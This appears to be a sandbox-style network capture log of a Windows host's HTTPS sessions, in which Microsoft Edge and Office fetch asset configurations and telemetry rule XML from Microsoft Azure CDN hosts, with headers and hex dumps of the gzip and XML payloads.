2024-11-20 13:43:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134340Z-1777c6cb7544n7p6hC1TEByvb400000009rg00000000fqa2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49858	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:40 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:41 UTC	583	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:40 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 5494527a-701e-002c-1132-3bea3a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134340Z-185f5d8b95cwtv72hC1NYC141w0000000aa00000000028ma Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 13:43:41 UTC	15801	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-20 13:43:41 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-20 13:43:41 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-20 13:43:41 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-20 13:43:41 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49857	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:40 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:42 UTC	557	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:41 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f9a188a-601e-0055-1252-3b8370000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134340Z-185f5d8b95cx9g8lhC1NYCtgvc00000002r00000000061zf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 13:43:42 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-20 13:43:42 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-20 13:43:42 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-20 13:43:42 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-20 13:43:42 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-20 13:43:42 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-20 13:43:42 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-20 13:43:42 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-20 13:43:42 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-20 13:43:42 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:41 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134341Z-185f5d8b95c95vpshC1NYC759c0000000a5g00000000s1qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
